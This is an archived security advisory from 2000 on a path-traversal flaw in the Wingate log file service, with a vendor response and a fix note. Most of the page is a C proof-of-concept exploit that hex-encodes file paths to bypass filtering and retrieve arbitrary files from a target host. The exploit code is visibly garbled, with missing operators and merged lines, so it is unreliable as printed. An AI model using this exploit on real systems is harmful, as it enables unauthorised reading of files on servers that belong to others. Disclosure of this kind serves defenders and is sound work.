Wingate Server Exposes Log Files

Reported October 16, 2000 by Blue Panda

  • Wingate 4.1 (BETA)
  • Wingate 4.0.1
  • Wingate 3.0
  • Wingate 2.1

The Wingate log file server allows logs to be viewed remotely via HTTP a vulnerability found in the process can allow a malicious user to retrieve files other than the log files.

DEMONSTRATION The following proof of concept was provided by Blue Panda;

Makes a request to the Wingate logfile service in such a way that it will not be subject to filtering. This can allow an attacker to retrieve files irrelevant to the logging system. The file received is dumped to stdout, and all other output is written to stderr. Newline characters (0x0d and 0x0a)will probably be screwed up by Wingate.

usage: wgate41a <host> <path/filename> \[<port>\]
#include <stdio.h>
#include <winsock.h>
const char *USAGE = "usage: wgate41a <host> <path/filename> \[<port>\]\nport defaults to 8010.";
const char *ERROR_WINSOCK_INIT = "Error initialising winsock.";
const char *ERROR_SOCKET_CREATE = "Error creating socket.";
const char *ERROR_RECV = "Error receiving file/directory listing.";
const char *ERROR_MALLOC = "Error allocating memory.";
const char *WARNING_WINSOCK_CLEANUP = "Warning: winsock failed to clean up successfully.";
const int DEFAULT_PORT = 8010;
const int CONNECT_ERROR_NONE = 0;
const int CONNECT_ERROR_HOST = 1;

const char *GET_REQUEST = "GET /";
const char *HTTP11 = " HTTP/1.1\x0d\x0a\x0d\x0a";
const char *END_OF_HEADERS = "\x0d\x0a\x0d";
#define BUF_LEN 2048

void Usage(void);
int Connect(int iSock, char *szHost, int iPort);
int InitWinsock(void);
int ShutdownWinsock(void);
void Bail(const char *szMessage);

int main(int argc, char *argv\[\])
	int iPort;
    int iResult;
    int iSocket;
    int iCounter;
    char *szFile = NULL;
    int iFileLen = 0;
    char *szFileTemp = NULL;
    char *szStartOfFile;
    char sBuf\[BUF_LEN\];

    if ((argc > 3) || (argc > 4)) Usage();
    if (argc 

4) iPort = atoi(argv\[3\]); else iPort = DEFAULT_PORT; // Attempt to initialise winsock. iResult = InitWinsock(); if (iResult != 0) Bail(ERROR_WINSOCK_INIT); // Create socket. iSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (iSocket

INVALID_SOCKET) Bail(ERROR_SOCKET_CREATE); // Connect to target. fprintf(stderr, "Connecting to %s:%d...", argv\[1\], iPort); iResult = Connect(iSocket, argv\[1\], iPort); if (iResult

CONNECT_ERROR_HOST) Bail("invalid host."); if (iResult

CONNECT_ERROR_CONNECT) Bail("failed."); fprintf(stderr, "done.\n"); // Connected. Send request. send(iSocket, GET_REQUEST, strlen(GET_REQUEST), 0); // Begin request. iCounter = 0; // File/path. do \{ sprintf((char *)(&sBuf), "%%%x", argv\[2\]\[iCounter\]); send(iSocket, sBuf, strlen(sBuf), 0); iCounter++; \} while((unsigned int)(iCounter) 0) \{ if (szFile != NULL) \{ szFileTemp = (char *)(malloc(iFileLen)); if (szFileTemp

NULL) Bail(ERROR_MALLOC); memcpy(szFileTemp, szFile, iFileLen); free(szFile); \} szFile = (char *)(malloc(iFileLen + iResult + 1)); if (szFile

NULL) Bail(ERROR_MALLOC); if (szFileTemp != NULL) \{ memcpy(szFile, szFileTemp, iFileLen); free(szFileTemp); szFileTemp = NULL; \} memcpy(szFile + iFileLen, (char *)(&sBuf), iResult); iFileLen += iResult; \} else if ((iResult

SOCKET_ERROR) && (WSAGetLastError() != WSAETIMEDOUT)) iResult = 0; \} while(iResult != 0); fprintf(stderr, "Finished. Dumping to stdout...\n"); szFile\[iFileLen\] = 0; szStartOfFile = strstr(szFile, END_OF_HEADERS); if (szStartOfFile != NULL) szStartOfFile += 4; else \{ szStartOfFile = szFile; fprintf(stderr, "Warning: unable to find end of HTTP headers.\n"); \} if (iFileLen - (szStartOfFile - szFile) > 0) fwrite(szStartOfFile, 1, iFileLen - (szStartOfFile - szFile), stdout); else fprintf(stderr, "Warning: file blank.\n"); free(szFile); // Attempt to shut-down winsock. iResult = ShutdownWinsock(); if (iResult != 0) fprintf(stderr, "%s\n", WARNING_WINSOCK_CLEANUP); return 0; \} void Usage(void) \{ fprintf(stderr, "%s\n", USAGE); exit(0); \} int Connect(int iSock, char *szHost, int iPort) \{ SOCKADDR_IN RemoteAddress; struct hostent *HostInfo; int iResult; RemoteAddress.sin_family = AF_INET; RemoteAddress.sin_port = htons(iPort); RemoteAddress.sin_addr.s_addr = inet_addr(szHost); if (RemoteAddress.sin_addr.s_addr

INADDR_NONE) \{ HostInfo = gethostbyname(szHost); if (HostInfo == NULL) return 1; memcpy(&RemoteAddress.sin_addr.s_addr, HostInfo->h_addr, sizeof(HostInfo->h_addr)); \} iResult = connect(iSock, (SOCKADDR *)&RemoteAddress, sizeof(RemoteAddress)); if (iResult) return 2; return 0; \} int InitWinsock(void) \{ WSADATA WSData; WORD WSVersion; int iResult; WSVersion = MAKEWORD(1, 1); iResult = WSAStartup(WSVersion, &WSData); return iResult; \} int ShutdownWinsock(void) \{ int iResult; iResult = WSACleanup(); return iResult; \} void Bail(const char *szMessage) \{ fprintf(stderr, "%s\n", szMessage); exit(1); \}

VENDOR RESPONSE According to's Product Manager, Doug Kassuba, "The gist of this vulnerability is that by encoding an improper log-file path as hex the path filtering in WinGate was defeated. What this meant was that users of the logfile service could view any directory that the WinGate service account had access to (typically the whole drive). Points to note:

(1) This vulnerability only exists if the log file service is installed (the default). It is not normally bound to any public interface (and a warning is given when it is), so vulnerability is normally restricted to your LAN.

(2) This is a data-reading vulnerability - it cannot be used to upload files, install Trojans, etc.

(3) It was fixed for the 4.1 beta C and subsequent versions. The workaround for earlier versions is not to bind the service to any untrusted interfaces, and/or add policies to restrict access.

CREDIT Discovered by BluePanda

Hide comments


  • Allowed HTML tags: <em> <strong> <blockquote> <br> <p>

Plain text

  • No HTML tags allowed.
  • Web page addresses and e-mail addresses turn into links automatically.
  • Lines and paragraphs break automatically.